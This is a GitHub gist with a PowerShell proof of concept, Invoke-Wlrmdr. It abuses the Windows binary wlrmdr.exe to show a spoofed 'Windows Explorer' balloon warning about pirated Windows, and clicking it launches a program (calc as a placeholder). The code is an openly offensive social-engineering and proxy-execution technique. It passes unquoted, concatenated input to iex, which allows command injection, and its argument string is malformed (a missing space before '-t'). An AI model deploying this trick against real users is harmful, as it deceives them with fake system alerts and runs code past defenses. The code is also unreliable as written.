-
-
Save p4nd0rum/a24d1be8e5d4293fb70c62c68cdf0b12 to your computer and use it in GitHub Desktop.
Windows Logon Reminder Balloon
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Invoke-Wlrmdr { | |
| [CmdletBinding()] | |
| Param ( | |
| [Parameter(Mandatory = $True, Position = 0)] | |
| [String] $Message = "You are using pirated Windows", | |
| [Parameter(Mandatory = $True, Position = 1)] | |
| [String] $IconType = 'Key', | |
| [Parameter(Mandatory = $True, Position = 2)] | |
| [String] $Title = 'Windows Explorer' | |
| ) | |
| $command = "wlrmdr.exe -s 60000 -f " | |
| $Iaintgotnotype = switch ($IconType) | |
| { | |
| "Critical" {6} | |
| "Exclamation" {5} | |
| "Information" {1} | |
| "Key" {4} | |
| "None" {0} | |
| default {0} | |
| } | |
| $command += $Iaintgotnotype | |
| $command += "-t " | |
| $command += $Title | |
| $command += " -m " | |
| $command += $Message | |
| $command += " -a 10 -u calc" | |
| iex $command | |
| } | |
| Invoke-Wlrmdr |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment